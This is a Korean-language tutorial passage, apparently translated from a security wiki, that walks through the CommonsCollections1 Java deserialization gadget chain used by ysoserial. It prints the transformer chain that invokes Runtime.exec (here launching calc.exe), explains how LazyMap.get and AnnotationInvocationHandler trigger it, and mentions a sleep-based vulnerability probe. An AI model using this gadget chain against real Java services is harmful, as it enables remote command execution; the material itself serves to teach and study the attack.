그래서, 첫 번째 페이로드는 "간단한" 한 줄짜리 페이로드와 동등한 것으로 나타낼 수 있는 방법은 어떤 것인가요?
첫 번째로, 페이로드에서 변환의 체인(배열)이 생성되는 것을 알 수 있습니다:
String[] command = {"calc.exe"};finalTransformer[] transformers =newTransformer[]{//(1) - Get gadget Class (from Runtime class)newConstantTransformer(Runtime.class),//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"newInvokerTransformer("getMethod",newClass[]{ String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime ojectnewInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),//(4) - Use the Runtime object to call exec with arbitrary commandsnewInvokerTransformer("exec",newClass[]{String.class},command)};ChainedTransformer chainedTransformer =newChainedTransformer(transformers);
코드를 읽으면 배열의 변환을 연결하는 방법을 알 수 있습니다. 이렇게 연결하면 임의의 명령을 실행할 수 있습니다.
마지막 섹션에서 페이로드를 볼 수 있습니다. Map 객체가 생성됩니다. 그런 다음, LazyMap에서 decorate 함수가 실행되고 맵 객체와 연결된 변환기가 전달됩니다. 다음 코드에서 볼 수 있듯이, 이로 인해 연결된 변환기가 lazyMap.factory 속성 내에 복사됩니다.
protectedLazyMap(Map map,Transformer factory) {super(map);if (factory ==null) {thrownewIllegalArgumentException("Factory must not be null");}this.factory= factory;}
그리고 마지막으로 위대한 피날레가 실행됩니다: lazyMap.get("anything");
다음은 get 함수의 코드입니다:
publicObjectget(Object key) {if (map.containsKey(key) ==false) {Object value =factory.transform(key);map.put(key, value);return value;}returnmap.get(key);}
그리고 이것은 transform 함수의 코드입니다.
publicObjecttransform(Object object) {for (int i =0; i <iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}
그래서, factory 안에는 **chainedTransformer**가 저장되어 있고, transform 함수 안에서는 모든 연결된 transformer를 순회하면서 하나씩 실행합니다. 재미있는 점은 각 transformer가 입력으로 object를 사용하고 object는 마지막으로 실행된 transformer의 출력입니다. 따라서, 모든 변환은 악성 페이로드를 실행하는 연결된 상태입니다.
요약
마지막으로, lazyMap이 get 메서드 내에서 연결된 transformer를 관리하는 방식 때문에, 우리가 다음 코드를 실행하는 것과 같습니다:
여기에서는 ComonsCollections1 페이로드에 사용되는 가젯들에 대해 설명되었습니다. 그러나 이 모든 것이 어떻게 실행되는지는 설명되지 않았습니다. 여기에서 ysoserial을 볼 수 있습니다. 이 페이로드를 실행하기 위해 AnnotationInvocationHandler 객체를 사용합니다. 이 객체가 역직렬화될 때 payload.get() 함수를 호출하여 전체 페이로드를 실행합니다.
Java Thread Sleep
이 페이로드는 웹이 취약한지 여부를 확인하는 데 유용할 수 있습니다. 취약하다면 sleep을 실행합니다.